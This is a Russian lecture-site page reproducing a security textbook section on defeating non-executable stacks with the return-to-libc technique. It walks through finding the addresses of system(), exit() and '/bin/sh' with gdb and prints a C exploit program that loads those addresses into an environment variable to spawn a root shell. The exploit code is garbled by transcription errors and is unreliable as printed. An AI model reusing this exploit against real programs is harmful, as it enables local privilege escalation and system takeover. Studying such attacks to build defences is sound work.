Лекции.Орг


Поиск:




Категории:

Астрономия
Биология
География
Другие языки
Интернет
Информатика
История
Культура
Литература
Логика
Математика
Медицина
Механика
Охрана труда
Педагогика
Политика
Право
Психология
Религия
Риторика
Социология
Спорт
Строительство
Технология
Транспорт
Физика
Философия
Финансы
Химия
Экология
Экономика
Электроника

 

 

 

 


Борьба с неисполняемым стеком




Предыдущий пример сработал благодаря возможности выполнения команд в стеке. Для защиты от подобных атак во многих операционных системах (Solaris, OpenBSD) программам запрещается выполнение кода в стеке. Эта мера защищает от любых эксплойтов, ориентированных на запись исполняемого кода в стек.

Вероятно, вы уже догадались, что возможность выполнения кода в стеке не критична. Это всего лишь самый простой, известный и наиболее надежный метод эксплуатации уязвимостей. Столкнувшись с неисполняемым стеком, можно воспользоваться другим приемом, называемым возвратом в libc. Фактически мы воспользуемся вездесущей библиотекой libc для экспорта вызовов системных функций в libc. В этом случае эксплуатация уязвимостей станет возможной даже при защищенном стеке.

 

Возврат в libc

Как же работает метод возврата в libc? Простоты ради предположим, что регистр EIP уже находится под контролем, и в него можно занести любой адрес для выполнения; короче говоря, благодаря обнаружению некоего уязвимого буфера мы полностью перехватили контроль над программой.

Вместо возврата управления в стек, как в традиционном методе переполнения с токовых буферов, мы заставим программу вернуть управление по адресу конкретной функции динамической библиотеки. Функция динамической библиотеки не будет храниться в стеке, и это позволит обойти ограничения на выполнение кода в стеке. Как выбрать функцию для возврата? В идеальном случае функция должна удовлетворять двум условиям:

- Динамическая библиотека должна быть широко распространена и присутствовать в большинстве программ.

- Функция из библиотеки должна обеспечивать максимальную свободу действий, чтобы мы могли запустить командный процессор (или сделать что-нибудь еще по нашему усмотрению).

Обоим требованиям в наибольшей степени соответствует libc — стандартная библиотека С, содержащая практически все стандартные функции С, которые мы принимаем как нечто само собой разумеющееся. По своей природе все функции библиотеки являются общими (собственно, это входит в определение библиотеки функций), а следовательно, доступными для любой программы, в которую включена библиотека libc. Но если любая программа может обратиться к этим общим функциям, нельзя ли использовать это обстоятельство и наших целях? Все, что потребуется, — передать управление по адресу библиотечной функции, которую мы хотим задействовать (разумеется, с соответствующими аргументами), и такая функция будет исполнена.

Для начала не будем усложнять задачу и ограничимся запуском командного процессора. Проще всего воспользоваться функцией system(); в контексте нашего примера эта функция всего лишь получает аргумент и выполняется строкой /bin/sh. Передав функции system() аргумент /bin/sh, мы получим командный процессор. Выполнять код в стеке для этого не придется; переход осуществляется прямо по адресу функции system() в библиотеке С.

Интересный вопрос как передать аргумент функции system()? В сущности, мы хотим передать указатель на строку (bin/sh), которая должна быть выполнена функцией. Известно, что при нормальном выполнении функции (для удобства назовем ее the_function) аргументы заносятся в стек в обратном порядке. Но нас сейчас интересует то, что происходит дальше, и в конечном счете позволит передать параметры функции system().

Сначала выполняется команда CALL the_function. При выполнении команды CALL в стек заносится адрес следующей команды (адрес возврата), а регистр ESP уменьшается на 4. Когда the_function вернет управление, адрес возврата (EIP) извлекается из стека, а в ESP заносится адрес, следующий непосредственно за адресом возврата.

Теперь перейдем к вызову system(). Функция the_funotion считает, что ESP уже указывает на адрес, по которому должен производиться возврат. Также предполагается, что в стеке уже размещены положенные параметры, причем первый аргумент следует за адресом возврата; это нормальное поведение стека. Таким образом, мы должны перевести адрес возврата на функцию system() и занести аргумент (в нашем случае это указатель на строку /bin/sh) в соответствующие 8 байт стека. При возврате из the_function управление передается функции system(), a system() получает данные из стека.

Итак, основные принципы понятны. Для реализации метода возврата в libc необходимо провести кое-какие подготовительные действия:

1. Узнать адрес функции system().

2. Узнать адрес строки /bin/sh.

3. Узнать адрес функции exit() для корректного завершения эксплуатируемой программы.

Адрес функции system() в libc определяется простым дезассемблированием любой программы, написанной на C++. Компилятор gcc по умолчанию включает libc при компиляции, поэтому для определения адреса system() можно воспользоваться простейшей программой:

int main()

{

}

Теперь давайте определим адрес system() при помощи gdb.

[root@0day local]# gdb file

(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

Starting program- /usr/local/book/file

Breakpoint 1. 0x804832e in main 0

(gdb) p system

$1 = {<text variable, no debug info>} 0x4203f2c0 <system>

(gdb)

Функция system() находится по адресу 0x4203f2c0. Теперь узнаем адрес exit().

[root@0day local]# gdb file

(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

Starting program /usr/local/book/file

Breakpoint 1. 0x804832e in main О

(gdb) p exit

$1 = {<text variable, no debug info>} 0x42029bb0 <system>

(gdb)

Функция exit() находится по адресу 0x42029bb0. Наконец, для получения адреса /bin/sh можно воспользоваться утилитой memfetch (http://Lcamtuf.coredump.cx/), отображающей содержимое памяти для заданного процесса; проведите поиск и двоичном файле и определите адрес /bin/sh в двоичном файле. Существует и другой способ: сохраните строку /bin/sh в переменной окружения и получите адрес этой переменной.

Наконец, можно переходить к написанию программы. Мы должны:

1. Заполнить буфер фиктивными данными вплоть до адреса возврата.

2. Заменить адрес возврата адресом system().

3. Записать за адресом system() адрес exit().

4. Присоединить адрес /bin/sh.

Посмотрим, как это должно выглядеть в коде:

#include <stdlib.h>

#define offset_size 0

#define buffer_size 600

char sc[] =

"\xc0\xf2\x03\x42" //system()

"\x02\x9b\xb0\x42" //exit()

"\xa0\x8a\xb2\x42M //binsh

unsigned long find_start(void) {

_asm_ ("movl %esp,%eax"),

}

int main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr. addr;

int offset=offset_size; bsize=buffer_size;

int i;

if (argc > 1) bsize = atoi(argv[l]);

if (argc > 2) offset = atoi(argv[2]);

addr = find_start() – offset;

ptr = buff;

addr_ptr = (long *) ptr;

for (i=0. i < bsize. i+=4)

*(addr_ptr++) = addr;

ptr += 4;

for (i=0 i < strlen(sc); i++))

*(ptr++) = sc[l];

buff[bsize - 1] = '\0',

memcpy(buff,"BUF=",4),

putenv(buff);

system("/bin/bash");

}

 

 





Поделиться с друзьями:


Дата добавления: 2016-10-30; Мы поможем в написании ваших работ!; просмотров: 318 | Нарушение авторских прав


Поиск на сайте:

Лучшие изречения:

Ваше время ограничено, не тратьте его, живя чужой жизнью © Стив Джобс
==> читать все изречения...

2245 - | 2190 -


© 2015-2025 lektsii.org - Контакты - Последнее добавление

Ген: 0.01 с.